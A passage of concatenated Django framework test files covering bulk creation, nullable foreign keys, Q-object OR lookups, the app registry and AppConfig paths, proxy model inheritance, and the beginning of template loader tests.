        self.assertEqual(Country.objects.get(pk=countries[0].pk), countries[0])
        self.assertEqual(Country.objects.get(pk=countries[1].pk), countries[1])
        self.assertEqual(Country.objects.get(pk=countries[2].pk), countries[2])
        self.assertEqual(Country.objects.get(pk=countries[3].pk), countries[3])

    @skipUnlessDBFeature('can_return_ids_from_bulk_insert')
    def test_set_state(self):
        country_nl = Country(name='Netherlands', iso_two_letter='NL')
        country_be = Country(name='Belgium', iso_two_letter='BE')
        Country.objects.bulk_create([country_nl])
        country_be.save()
        # Objects save via bulk_create() and save() should have equal state.
        self.assertEqual(country_nl._state.adding, country_be._state.adding)
        self.assertEqual(country_nl._state.db, country_be._state.db)






"""
Many-to-one relationships that can be null

To define a many-to-one relationship that can have a null foreign key, use
``ForeignKey()`` with ``null=True`` .
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Reporter(models.Model):
    name = models.CharField(max_length=30)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    reporter = models.ForeignKey(Reporter, models.SET_NULL, null=True)

    class Meta:
        ordering = ('headline',)

    def __str__(self):
        return self.headline


class Car(models.Model):
    make = models.CharField(max_length=100, null=True, unique=True)


class Driver(models.Model):
    car = models.ForeignKey(Car, models.SET_NULL, to_field='make', null=True, related_name='drivers')












from __future__ import unicode_literals

from django.test import TestCase

from .models import Article, Car, Driver, Reporter


class ManyToOneNullTests(TestCase):
    def setUp(self):
        # Create a Reporter.
        self.r = Reporter(name='John Smith')
        self.r.save()
        # Create an Article.
        self.a = Article(headline="First", reporter=self.r)
        self.a.save()
        # Create an Article via the Reporter object.
        self.a2 = self.r.article_set.create(headline="Second")
        # Create an Article with no Reporter by passing "reporter=None".
        self.a3 = Article(headline="Third", reporter=None)
        self.a3.save()
        # Create another article and reporter
        self.r2 = Reporter(name='Paul Jones')
        self.r2.save()
        self.a4 = self.r2.article_set.create(headline='Fourth')

    def test_get_related(self):
        self.assertEqual(self.a.reporter.id, self.r.id)
        # Article objects have access to their related Reporter objects.
        r = self.a.reporter
        self.assertEqual(r.id, self.r.id)

    def test_created_via_related_set(self):
        self.assertEqual(self.a2.reporter.id, self.r.id)

    def test_related_set(self):
        # Reporter objects have access to their related Article objects.
        self.assertQuerysetEqual(self.r.article_set.all(), ['<Article: First>', '<Article: Second>'])
        self.assertQuerysetEqual(self.r.article_set.filter(headline__startswith='Fir'), ['<Article: First>'])
        self.assertEqual(self.r.article_set.count(), 2)

    def test_created_without_related(self):
        self.assertIsNone(self.a3.reporter)
        # Need to reget a3 to refresh the cache
        a3 = Article.objects.get(pk=self.a3.pk)
        with self.assertRaises(AttributeError):
            getattr(a3.reporter, 'id')
        # Accessing an article's 'reporter' attribute returns None
        # if the reporter is set to None.
        self.assertIsNone(a3.reporter)
        # To retrieve the articles with no reporters set, use "reporter__isnull=True".
        self.assertQuerysetEqual(Article.objects.filter(reporter__isnull=True), ['<Article: Third>'])
        # We can achieve the same thing by filtering for the case where the
        # reporter is None.
        self.assertQuerysetEqual(Article.objects.filter(reporter=None), ['<Article: Third>'])
        # Set the reporter for the Third article
        self.assertQuerysetEqual(self.r.article_set.all(), ['<Article: First>', '<Article: Second>'])
        self.r.article_set.add(a3)
        self.assertQuerysetEqual(
            self.r.article_set.all(),
            ['<Article: First>', '<Article: Second>', '<Article: Third>']
        )
        # Remove an article from the set, and check that it was removed.
        self.r.article_set.remove(a3)
        self.assertQuerysetEqual(self.r.article_set.all(), ['<Article: First>', '<Article: Second>'])
        self.assertQuerysetEqual(Article.objects.filter(reporter__isnull=True), ['<Article: Third>'])

    def test_remove_from_wrong_set(self):
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Fourth>'])
        # Try to remove a4 from a set it does not belong to
        with self.assertRaises(Reporter.DoesNotExist):
            self.r.article_set.remove(self.a4)
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Fourth>'])

    def test_set(self):
        # Use manager.set() to allocate ForeignKey. Null is legal, so existing
        # members of the set that are not in the assignment set are set to null.
        self.r2.article_set.set([self.a2, self.a3])
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Second>', '<Article: Third>'])
        # Use manager.set(clear=True)
        self.r2.article_set.set([self.a3, self.a4], clear=True)
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Fourth>', '<Article: Third>'])
        # Clear the rest of the set
        self.r2.article_set.set([])
        self.assertQuerysetEqual(self.r2.article_set.all(), [])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__isnull=True),
            ['<Article: Fourth>', '<Article: Second>', '<Article: Third>']
        )

    def test_assign_clear_related_set(self):
        # Use descriptor assignment to allocate ForeignKey. Null is legal, so
        # existing members of the set that are not in the assignment set are
        # set to null.
        self.r2.article_set.set([self.a2, self.a3])
        self.assertQuerysetEqual(self.r2.article_set.all(), ['<Article: Second>', '<Article: Third>'])
        # Clear the rest of the set
        self.r.article_set.clear()
        self.assertQuerysetEqual(self.r.article_set.all(), [])
        self.assertQuerysetEqual(
            Article.objects.filter(reporter__isnull=True),
            ['<Article: First>', '<Article: Fourth>']
        )

    def test_assign_with_queryset(self):
        # Ensure that querysets used in reverse FK assignments are pre-evaluated
        # so their value isn't affected by the clearing operation in
        # RelatedManager.set() (#19816).
        self.r2.article_set.set([self.a2, self.a3])

        qs = self.r2.article_set.filter(headline="Second")
        self.r2.article_set.set(qs)

        self.assertEqual(1, self.r2.article_set.count())
        self.assertEqual(1, qs.count())

    def test_add_efficiency(self):
        r = Reporter.objects.create()
        articles = []
        for _ in range(3):
            articles.append(Article.objects.create())
        with self.assertNumQueries(1):
            r.article_set.add(*articles)
        self.assertEqual(r.article_set.count(), 3)

    def test_clear_efficiency(self):
        r = Reporter.objects.create()
        for _ in range(3):
            r.article_set.create()
        with self.assertNumQueries(1):
            r.article_set.clear()
        self.assertEqual(r.article_set.count(), 0)

    def test_related_null_to_field(self):
        c1 = Car.objects.create()
        d1 = Driver.objects.create()
        self.assertIs(d1.car, None)
        with self.assertNumQueries(0):
            self.assertEqual(list(c1.drivers.all()), [])






"""
OR lookups

To perform an OR lookup, or a lookup that combines ANDs and ORs, combine
``QuerySet`` objects using ``&`` and ``|`` operators.

Alternatively, use positional arguments, and pass one or more expressions of
clauses using the variable ``django.db.models.Q`` (or any object with an
``add_to_query`` method).
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=50)
    pub_date = models.DateTimeField()

    class Meta:
        ordering = ('pub_date',)

    def __str__(self):
        return self.headline












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from datetime import datetime
from operator import attrgetter

from django.db.models import Q
from django.test import TestCase
from django.utils.encoding import force_str

from .models import Article


class OrLookupsTests(TestCase):

    def setUp(self):
        self.a1 = Article.objects.create(
            headline='Hello', pub_date=datetime(2005, 11, 27)
        ).pk
        self.a2 = Article.objects.create(
            headline='Goodbye', pub_date=datetime(2005, 11, 28)
        ).pk
        self.a3 = Article.objects.create(
            headline='Hello and goodbye', pub_date=datetime(2005, 11, 29)
        ).pk

    def test_filter_or(self):
        self.assertQuerysetEqual(
            (
                Article.objects.filter(headline__startswith='Hello') |
                Article.objects.filter(headline__startswith='Goodbye')
            ), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

        self.assertQuerysetEqual(
            Article.objects.filter(headline__contains='Hello') | Article.objects.filter(headline__contains='bye'), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

        self.assertQuerysetEqual(
            Article.objects.filter(headline__iexact='Hello') | Article.objects.filter(headline__contains='ood'), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

        self.assertQuerysetEqual(
            Article.objects.filter(Q(headline__startswith='Hello') | Q(headline__startswith='Goodbye')), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

    def test_stages(self):
        # You can shorten this syntax with code like the following,  which is
        # especially useful if building the query in stages:
        articles = Article.objects.all()
        self.assertQuerysetEqual(
            articles.filter(headline__startswith='Hello') & articles.filter(headline__startswith='Goodbye'),
            []
        )
        self.assertQuerysetEqual(
            articles.filter(headline__startswith='Hello') & articles.filter(headline__contains='bye'), [
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

    def test_pk_q(self):
        self.assertQuerysetEqual(
            Article.objects.filter(Q(pk=self.a1) | Q(pk=self.a2)), [
                'Hello',
                'Goodbye'
            ],
            attrgetter("headline")
        )

        self.assertQuerysetEqual(
            Article.objects.filter(Q(pk=self.a1) | Q(pk=self.a2) | Q(pk=self.a3)), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

    def test_pk_in(self):
        self.assertQuerysetEqual(
            Article.objects.filter(pk__in=[self.a1, self.a2, self.a3]), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

        self.assertQuerysetEqual(
            Article.objects.filter(pk__in=(self.a1, self.a2, self.a3)), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

        self.assertQuerysetEqual(
            Article.objects.filter(pk__in=[self.a1, self.a2, self.a3, 40000]), [
                'Hello',
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

    def test_q_repr(self):
        or_expr = Q(baz=Article(headline="Foö"))
        self.assertEqual(repr(or_expr), force_str("<Q: (AND: ('baz', <Article: Foö>))>"))
        negated_or = ~Q(baz=Article(headline="Foö"))
        self.assertEqual(repr(negated_or), force_str("<Q: (NOT (AND: ('baz', <Article: Foö>)))>"))

    def test_q_negated(self):
        # Q objects can be negated
        self.assertQuerysetEqual(
            Article.objects.filter(Q(pk=self.a1) | ~Q(pk=self.a2)), [
                'Hello',
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )

        self.assertQuerysetEqual(
            Article.objects.filter(~Q(pk=self.a1) & ~Q(pk=self.a2)), [
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )
        # This allows for more complex queries than filter() and exclude()
        # alone would allow
        self.assertQuerysetEqual(
            Article.objects.filter(Q(pk=self.a1) & (~Q(pk=self.a2) | Q(pk=self.a3))), [
                'Hello'
            ],
            attrgetter("headline"),
        )

    def test_complex_filter(self):
        # The 'complex_filter' method supports framework features such as
        # 'limit_choices_to' which normally take a single dictionary of lookup
        # arguments but need to support arbitrary queries via Q objects too.
        self.assertQuerysetEqual(
            Article.objects.complex_filter({'pk': self.a1}), [
                'Hello'
            ],
            attrgetter("headline"),
        )

        self.assertQuerysetEqual(
            Article.objects.complex_filter(Q(pk=self.a1) | Q(pk=self.a2)), [
                'Hello',
                'Goodbye'
            ],
            attrgetter("headline"),
        )

    def test_empty_in(self):
        # Passing "in" an empty list returns no results ...
        self.assertQuerysetEqual(
            Article.objects.filter(pk__in=[]),
            []
        )
        # ... but can return results if we OR it with another query.
        self.assertQuerysetEqual(
            Article.objects.filter(Q(pk__in=[]) | Q(headline__icontains='goodbye')), [
                'Goodbye',
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

    def test_q_and(self):
        # Q arg objects are ANDed
        self.assertQuerysetEqual(
            Article.objects.filter(Q(headline__startswith='Hello'), Q(headline__contains='bye')), [
                'Hello and goodbye'
            ],
            attrgetter("headline")
        )
        # Q arg AND order is irrelevant
        self.assertQuerysetEqual(
            Article.objects.filter(Q(headline__contains='bye'), headline__startswith='Hello'), [
                'Hello and goodbye'
            ],
            attrgetter("headline"),
        )

        self.assertQuerysetEqual(
            Article.objects.filter(Q(headline__startswith='Hello') & Q(headline__startswith='Goodbye')),
            []
        )

    def test_q_exclude(self):
        self.assertQuerysetEqual(
            Article.objects.exclude(Q(headline__startswith='Hello')), [
                'Goodbye'
            ],
            attrgetter("headline")
        )

    def test_other_arg_queries(self):
        # Try some arg queries with operations other than filter.
        self.assertEqual(
            Article.objects.get(Q(headline__startswith='Hello'), Q(headline__contains='bye')).headline,
            'Hello and goodbye'
        )

        self.assertEqual(
            Article.objects.filter(Q(headline__startswith='Hello') | Q(headline__contains='bye')).count(),
            3
        )

        self.assertQuerysetEqual(
            Article.objects.filter(Q(headline__startswith='Hello'), Q(headline__contains='bye')).values(), [
                {"headline": "Hello and goodbye", "id": self.a3, "pub_date": datetime(2005, 11, 29)},
            ],
            lambda o: o,
        )

        self.assertEqual(
            Article.objects.filter(Q(headline__startswith='Hello')).in_bulk([self.a1, self.a2]),
            {self.a1: Article.objects.get(pk=self.a1)}
        )






from __future__ import unicode_literals

from django.apps.registry import Apps
from django.db import models

# We're testing app registry presence on load, so this is handy.

new_apps = Apps(['apps'])


class TotallyNormal(models.Model):
    name = models.CharField(max_length=255)


class SoAlternative(models.Model):
    name = models.CharField(max_length=255)

    class Meta:
        apps = new_apps






from __future__ import unicode_literals

from django.apps import AppConfig


class MyAdmin(AppConfig):
    name = 'django.contrib.admin'
    verbose_name = "Admin sweet admin."


class MyAuth(AppConfig):
    name = 'django.contrib.auth'
    label = 'myauth'
    verbose_name = "All your password are belong to us."


class BadConfig(AppConfig):
    """This class doesn't supply the mandatory 'name' attribute."""


class NotAConfig(object):
    name = 'apps'


class NoSuchApp(AppConfig):
    name = 'there is no such app'


class PlainAppsConfig(AppConfig):
    name = 'apps'


class RelabeledAppsConfig(AppConfig):
    name = 'apps'
    label = 'relabeled'












from __future__ import unicode_literals

import os
from unittest import skipUnless

from django.apps import AppConfig, apps
from django.apps.registry import Apps
from django.contrib.admin.models import LogEntry
from django.core.exceptions import AppRegistryNotReady, ImproperlyConfigured
from django.db import models
from django.test import SimpleTestCase, override_settings
from django.test.utils import extend_sys_path, isolate_apps
from django.utils import six
from django.utils._os import upath

from .default_config_app.apps import CustomConfig
from .models import SoAlternative, TotallyNormal, new_apps

# Small list with a variety of cases for tests that iterate on installed apps.
# Intentionally not in alphabetical order to check if the order is preserved.

SOME_INSTALLED_APPS = [
    'apps.apps.MyAdmin',
    'apps.apps.MyAuth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]

SOME_INSTALLED_APPS_NAMES = [
    'django.contrib.admin',
    'django.contrib.auth',
] + SOME_INSTALLED_APPS[2:]

HERE = os.path.dirname(upath(__file__))


class AppsTests(SimpleTestCase):

    def test_singleton_master(self):
        """
        Ensures that only one master registry can exist.
        """
        with self.assertRaises(RuntimeError):
            Apps(installed_apps=None)

    def test_ready(self):
        """
        Tests the ready property of the master registry.
        """
        # The master app registry is always ready when the tests run.
        self.assertTrue(apps.ready)
        # Non-master app registries are populated in __init__.
        self.assertTrue(Apps().ready)

    def test_bad_app_config(self):
        """
        Tests when INSTALLED_APPS contains an incorrect app config.
        """
        with self.assertRaises(ImproperlyConfigured):
            with self.settings(INSTALLED_APPS=['apps.apps.BadConfig']):
                pass

    def test_not_an_app_config(self):
        """
        Tests when INSTALLED_APPS contains a class that isn't an app config.
        """
        with self.assertRaises(ImproperlyConfigured):
            with self.settings(INSTALLED_APPS=['apps.apps.NotAConfig']):
                pass

    def test_no_such_app(self):
        """
        Tests when INSTALLED_APPS contains an app that doesn't exist, either
        directly or via an app config.
        """
        with self.assertRaises(ImportError):
            with self.settings(INSTALLED_APPS=['there is no such app']):
                pass
        msg = "Cannot import 'there is no such app'. Check that 'apps.apps.NoSuchApp.name' is correct."
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            with self.settings(INSTALLED_APPS=['apps.apps.NoSuchApp']):
                pass

    def test_no_such_app_config(self):
        """
        Tests when INSTALLED_APPS contains an entry that doesn't exist.
        """
        with self.assertRaises(ImportError):
            with self.settings(INSTALLED_APPS=['apps.apps.NoSuchConfig']):
                pass

    def test_default_app_config(self):
        with self.settings(INSTALLED_APPS=['apps.default_config_app']):
            config = apps.get_app_config('default_config_app')
        self.assertIsInstance(config, CustomConfig)

    @override_settings(INSTALLED_APPS=SOME_INSTALLED_APPS)
    def test_get_app_configs(self):
        """
        Tests apps.get_app_configs().
        """
        app_configs = apps.get_app_configs()
        self.assertListEqual(
            [app_config.name for app_config in app_configs],
            SOME_INSTALLED_APPS_NAMES)

    @override_settings(INSTALLED_APPS=SOME_INSTALLED_APPS)
    def test_get_app_config(self):
        """
        Tests apps.get_app_config().
        """
        app_config = apps.get_app_config('admin')
        self.assertEqual(app_config.name, 'django.contrib.admin')

        app_config = apps.get_app_config('staticfiles')
        self.assertEqual(app_config.name, 'django.contrib.staticfiles')

        with self.assertRaises(LookupError):
            apps.get_app_config('admindocs')

        msg = "No installed app with label 'django.contrib.auth'. Did you mean 'myauth'"
        with self.assertRaisesMessage(LookupError, msg):
            apps.get_app_config('django.contrib.auth')

    @override_settings(INSTALLED_APPS=SOME_INSTALLED_APPS)
    def test_is_installed(self):
        """
        Tests apps.is_installed().
        """
        self.assertTrue(apps.is_installed('django.contrib.admin'))
        self.assertTrue(apps.is_installed('django.contrib.auth'))
        self.assertTrue(apps.is_installed('django.contrib.staticfiles'))
        self.assertFalse(apps.is_installed('django.contrib.admindocs'))

    @override_settings(INSTALLED_APPS=SOME_INSTALLED_APPS)
    def test_get_model(self):
        """
        Tests apps.get_model().
        """
        self.assertEqual(apps.get_model('admin', 'LogEntry'), LogEntry)
        with self.assertRaises(LookupError):
            apps.get_model('admin', 'LogExit')

        # App label is case-sensitive, Model name is case-insensitive.
        self.assertEqual(apps.get_model('admin', 'loGentrY'), LogEntry)
        with self.assertRaises(LookupError):
            apps.get_model('Admin', 'LogEntry')

        # A single argument is accepted.
        self.assertEqual(apps.get_model('admin.LogEntry'), LogEntry)
        with self.assertRaises(LookupError):
            apps.get_model('admin.LogExit')
        with self.assertRaises(ValueError):
            apps.get_model('admin_LogEntry')

    @override_settings(INSTALLED_APPS=['apps.apps.RelabeledAppsConfig'])
    def test_relabeling(self):
        self.assertEqual(apps.get_app_config('relabeled').name, 'apps')

    def test_duplicate_labels(self):
        with self.assertRaisesMessage(ImproperlyConfigured, "Application labels aren't unique"):
            with self.settings(INSTALLED_APPS=['apps.apps.PlainAppsConfig', 'apps']):
                pass

    def test_duplicate_names(self):
        with self.assertRaisesMessage(ImproperlyConfigured, "Application names aren't unique"):
            with self.settings(INSTALLED_APPS=['apps.apps.RelabeledAppsConfig', 'apps']):
                pass

    def test_import_exception_is_not_masked(self):
        """
        App discovery should preserve stack traces. Regression test for #22920.
        """
        with self.assertRaisesMessage(ImportError, "Oops"):
            with self.settings(INSTALLED_APPS=['import_error_package']):
                pass

    def test_models_py(self):
        """
        Tests that the models in the models.py file were loaded correctly.
        """
        self.assertEqual(apps.get_model("apps", "TotallyNormal"), TotallyNormal)
        with self.assertRaises(LookupError):
            apps.get_model("apps", "SoAlternative")

        with self.assertRaises(LookupError):
            new_apps.get_model("apps", "TotallyNormal")
        self.assertEqual(new_apps.get_model("apps", "SoAlternative"), SoAlternative)

    def test_dynamic_load(self):
        """
        Makes a new model at runtime and ensures it goes into the right place.
        """
        old_models = list(apps.get_app_config("apps").get_models())
        # Construct a new model in a new app registry
        body = {}
        new_apps = Apps(["apps"])
        meta_contents = {
            'app_label': "apps",
            'apps': new_apps,
        }
        meta = type(str("Meta"), tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = TotallyNormal.__module__
        temp_model = type(str("SouthPonies"), (models.Model,), body)
        # Make sure it appeared in the right place!
        self.assertListEqual(list(apps.get_app_config("apps").get_models()), old_models)
        with self.assertRaises(LookupError):
            apps.get_model("apps", "SouthPonies")
        self.assertEqual(new_apps.get_model("apps", "SouthPonies"), temp_model)

    def test_model_clash(self):
        """
        Test for behavior when two models clash in the app registry.
        """
        new_apps = Apps(["apps"])
        meta_contents = {
            'app_label': "apps",
            'apps': new_apps,
        }

        body = {}
        body['Meta'] = type(str("Meta"), tuple(), meta_contents)
        body['__module__'] = TotallyNormal.__module__
        type(str("SouthPonies"), (models.Model,), body)

        # When __name__ and __module__ match we assume the module
        # was reloaded and issue a warning. This use-case is
        # useful for REPL. Refs #23621.
        body = {}
        body['Meta'] = type(str("Meta"), tuple(), meta_contents)
        body['__module__'] = TotallyNormal.__module__
        msg = (
            "Model 'apps.southponies' was already registered. "
            "Reloading models is not advised as it can lead to inconsistencies, "
            "most notably with related models."
        )
        with self.assertRaisesMessage(RuntimeWarning, msg):
            type(str("SouthPonies"), (models.Model,), body)

        # If it doesn't appear to be a reloaded module then we expect
        # a RuntimeError.
        body = {}
        body['Meta'] = type(str("Meta"), tuple(), meta_contents)
        body['__module__'] = TotallyNormal.__module__ + '.whatever'
        with self.assertRaisesMessage(RuntimeError, "Conflicting 'southponies' models in application 'apps':"):
            type(str("SouthPonies"), (models.Model,), body)

    def test_get_containing_app_config_apps_not_ready(self):
        """
        apps.get_containing_app_config() should raise an exception if
        apps.apps_ready isn't True.
        """
        apps.apps_ready = False
        try:
            with self.assertRaisesMessage(AppRegistryNotReady, "Apps aren't loaded yet"):
                apps.get_containing_app_config('foo')
        finally:
            apps.apps_ready = True

    @isolate_apps('apps', kwarg_name='apps')
    def test_lazy_model_operation(self, apps):
        """
        Tests apps.lazy_model_operation().
        """
        model_classes = []
        initial_pending = set(apps._pending_operations)

        def test_func(*models):
            model_classes[:] = models

        class LazyA(models.Model):
            pass

        # Test models appearing twice, and models appearing consecutively
        model_keys = [('apps', model_name) for model_name in ['lazya', 'lazyb', 'lazyb', 'lazyc', 'lazya']]
        apps.lazy_model_operation(test_func, *model_keys)

        # LazyModelA shouldn't be waited on since it's already registered,
        # and LazyModelC shouldn't be waited on until LazyModelB exists.
        self.assertSetEqual(set(apps._pending_operations) - initial_pending, {('apps', 'lazyb')})

        # Test that multiple operations can wait on the same model
        apps.lazy_model_operation(test_func, ('apps', 'lazyb'))

        class LazyB(models.Model):
            pass

        self.assertListEqual(model_classes, [LazyB])

        # Now we are just waiting on LazyModelC.
        self.assertSetEqual(set(apps._pending_operations) - initial_pending, {('apps', 'lazyc')})

        class LazyC(models.Model):
            pass

        # Everything should be loaded - make sure the callback was executed properly.
        self.assertListEqual(model_classes, [LazyA, LazyB, LazyB, LazyC, LazyA])


class Stub(object):
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)


class AppConfigTests(SimpleTestCase):
    """Unit tests for AppConfig class."""
    def test_path_set_explicitly(self):
        """If subclass sets path as class attr, no module attributes needed."""
        class MyAppConfig(AppConfig):
            path = 'foo'

        ac = MyAppConfig('label', Stub())

        self.assertEqual(ac.path, 'foo')

    def test_explicit_path_overrides(self):
        """If path set as class attr, overrides __path__ and __file__."""
        class MyAppConfig(AppConfig):
            path = 'foo'

        ac = MyAppConfig('label', Stub(__path__=['a'], __file__='b/__init__.py'))

        self.assertEqual(ac.path, 'foo')

    def test_dunder_path(self):
        """If single element in __path__, use it (in preference to __file__)."""
        ac = AppConfig('label', Stub(__path__=['a'], __file__='b/__init__.py'))

        self.assertEqual(ac.path, 'a')

    def test_no_dunder_path_fallback_to_dunder_file(self):
        """If there is no __path__ attr, use __file__."""
        ac = AppConfig('label', Stub(__file__='b/__init__.py'))

        self.assertEqual(ac.path, 'b')

    def test_empty_dunder_path_fallback_to_dunder_file(self):
        """If the __path__ attr is empty, use __file__ if set."""
        ac = AppConfig('label', Stub(__path__=[], __file__='b/__init__.py'))

        self.assertEqual(ac.path, 'b')

    def test_multiple_dunder_path_fallback_to_dunder_file(self):
        """If the __path__ attr is length>1, use __file__ if set."""
        ac = AppConfig('label', Stub(__path__=['a', 'b'], __file__='c/__init__.py'))

        self.assertEqual(ac.path, 'c')

    def test_no_dunder_path_or_dunder_file(self):
        """If there is no __path__ or __file__, raise ImproperlyConfigured."""
        with self.assertRaises(ImproperlyConfigured):
            AppConfig('label', Stub())

    def test_empty_dunder_path_no_dunder_file(self):
        """If the __path__ attr is empty and there is no __file__, raise."""
        with self.assertRaises(ImproperlyConfigured):
            AppConfig('label', Stub(__path__=[]))

    def test_multiple_dunder_path_no_dunder_file(self):
        """If the __path__ attr is length>1 and there is no __file__, raise."""
        with self.assertRaises(ImproperlyConfigured):
            AppConfig('label', Stub(__path__=['a', 'b']))

    def test_duplicate_dunder_path_no_dunder_file(self):
        """
        If the __path__ attr contains duplicate paths and there is no
        __file__, they duplicates should be deduplicated (#25246).
        """
        ac = AppConfig('label', Stub(__path__=['a', 'a']))
        self.assertEqual(ac.path, 'a')


@skipUnless(six.PY3, "Namespace packages sans __init__.py were added in Python 3.3")
class NamespacePackageAppTests(SimpleTestCase):
    # We need nsapp to be top-level so our multiple-paths tests can add another
    # location for it (if its inside a normal package with an __init__.py that
    # isn't possible). In order to avoid cluttering the already-full tests/ dir
    # (which is on sys.path), we add these new entries to sys.path temporarily.
    base_location = os.path.join(HERE, 'namespace_package_base')
    other_location = os.path.join(HERE, 'namespace_package_other_base')
    app_path = os.path.join(base_location, 'nsapp')

    def test_single_path(self):
        """
        A Py3.3+ namespace package can be an app if it has only one path.
        """
        with extend_sys_path(self.base_location):
            with self.settings(INSTALLED_APPS=['nsapp']):
                app_config = apps.get_app_config('nsapp')
                self.assertEqual(app_config.path, upath(self.app_path))

    def test_multiple_paths(self):
        """
        A Py3.3+ namespace package with multiple locations cannot be an app.

        (Because then we wouldn't know where to load its templates, static
        assets, etc. from.)
        """
        # Temporarily add two directories to sys.path that both contain
        # components of the "nsapp" package.
        with extend_sys_path(self.base_location, self.other_location):
            with self.assertRaises(ImproperlyConfigured):
                with self.settings(INSTALLED_APPS=['nsapp']):
                    pass

    def test_multiple_paths_explicit_path(self):
        """
        Multiple locations are ok only if app-config has explicit path.
        """
        # Temporarily add two directories to sys.path that both contain
        # components of the "nsapp" package.
        with extend_sys_path(self.base_location, self.other_location):
            with self.settings(INSTALLED_APPS=['nsapp.apps.NSAppConfig']):
                app_config = apps.get_app_config('nsapp')
                self.assertEqual(app_config.path, upath(self.app_path))






import os

from django.apps import AppConfig
from django.utils._os import upath


class NSAppConfig(AppConfig):
    name = 'nsapp'
    path = upath(os.path.dirname(__file__))






from django.apps import AppConfig


class CustomConfig(AppConfig):
    name = 'apps.default_config_app'






default_app_config = 'apps.default_config_app.apps.CustomConfig'







from django.db import models


class ConcreteModel(models.Model):
    pass


class ProxyModel(ConcreteModel):
    class Meta:
        proxy = True


class ConcreteModelSubclass(ProxyModel):
    pass


class ConcreteModelSubclassProxy(ConcreteModelSubclass):
    class Meta:
        proxy = True












from __future__ import absolute_import, unicode_literals

import os

from django.core.management import call_command
from django.test import TestCase, TransactionTestCase
from django.test.utils import extend_sys_path
from django.utils._os import upath

from .models import (
    ConcreteModel, ConcreteModelSubclass, ConcreteModelSubclassProxy,
    ProxyModel,
)


class ProxyModelInheritanceTests(TransactionTestCase):
    """
    Proxy model inheritance across apps can result in migrate not creating the table
    for the proxied model (as described in #12286).  This test creates two dummy
    apps and calls migrate, then verifies that the table has been created.
    """
    available_apps = []

    def test_table_exists(self):
        with extend_sys_path(os.path.dirname(os.path.abspath(upath(__file__)))):
            with self.modify_settings(INSTALLED_APPS={'append': ['app1', 'app2']}):
                call_command('migrate', verbosity=0, run_syncdb=True)
                from app1.models import ProxyModel
                from app2.models import NiceModel
                self.assertEqual(NiceModel.objects.all().count(), 0)
                self.assertEqual(ProxyModel.objects.all().count(), 0)


class MultiTableInheritanceProxyTest(TestCase):

    def test_model_subclass_proxy(self):
        """
        Deleting an instance of a model proxying a multi-table inherited
        subclass should cascade delete down the whole inheritance chain (see
        #18083).
        """
        instance = ConcreteModelSubclassProxy.objects.create()
        instance.delete()
        self.assertEqual(0, ConcreteModelSubclassProxy.objects.count())
        self.assertEqual(0, ConcreteModelSubclass.objects.count())
        self.assertEqual(0, ConcreteModel.objects.count())

    def test_deletion_through_intermediate_proxy(self):
        child = ConcreteModelSubclass.objects.create()
        proxy = ProxyModel.objects.get(pk=child.pk)
        proxy.delete()
        self.assertFalse(ConcreteModel.objects.exists())
        self.assertFalse(ConcreteModelSubclass.objects.exists())






from django.db import models


class NiceModel(models.Model):
    pass












# TODO: why can't I make this ..app2
from app2.models import NiceModel


class ProxyModel(NiceModel):
    class Meta:
        proxy = True


















from django.template import TemplateDoesNotExist
from django.template.loader import (
    get_template, render_to_string, select_template,
)
from django.test import SimpleTestCase, override_settings
from django.test.client import RequestFactory


@override_settings(TEMPLATES=[{
    'BACKEND': 'django.template.backends.dummy.TemplateStrings',
    'APP_DIRS': True,
}, {
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'APP_DIRS': True,
    'OPTIONS': {
        'context_processors': [
            'django.template.context_processors.request',
        ],
    },
}])
class TemplateLoaderTests(SimpleTestCase):

    def test_get_template_first_engine(self):
        template = get_template("template_loader/hello.html")
        self.assertEqual(template.render(), "Hello! (template strings)\n")

    def test_get_template_second_engine(self):
        template = get_template("template_loader/goodbye.html")
        self.assertEqual(template.render(), "Goodbye! (Django templates)\n")

    def test_get_template_using_engine(self):
        template = get_template("template_loader/hello.html", using="django")
        self.assertEqual(template.render(), "Hello! (Django templates)\n")

    def test_get_template_not_found(self):
        with self.assertRaises(TemplateDoesNotExist) as e:
            get_template("template_loader/unknown.html")
        self.assertEqual(
            e.exception.chain[-1].tried[0][0].template_name,
            'template_loader/unknown.html',
        )
        self.assertEqual(e.exception.chain[-1].backend.name, 'django')

    def test_select_template_first_engine(self):
        template = select_template(["template_loader/unknown.html",
                                    "template_loader/hello.html"])
        self.assertEqual(template.render(), "Hello! (template strings)\n")

    def test_select_template_second_engine(self):
        template = select_template(["template_loader/unknown.html",
                                    "template_loader/goodbye.html"])
        self.assertEqual(template.render(), "Goodbye! (Django templates)\n")

    def test_select_template_using_engine(self):
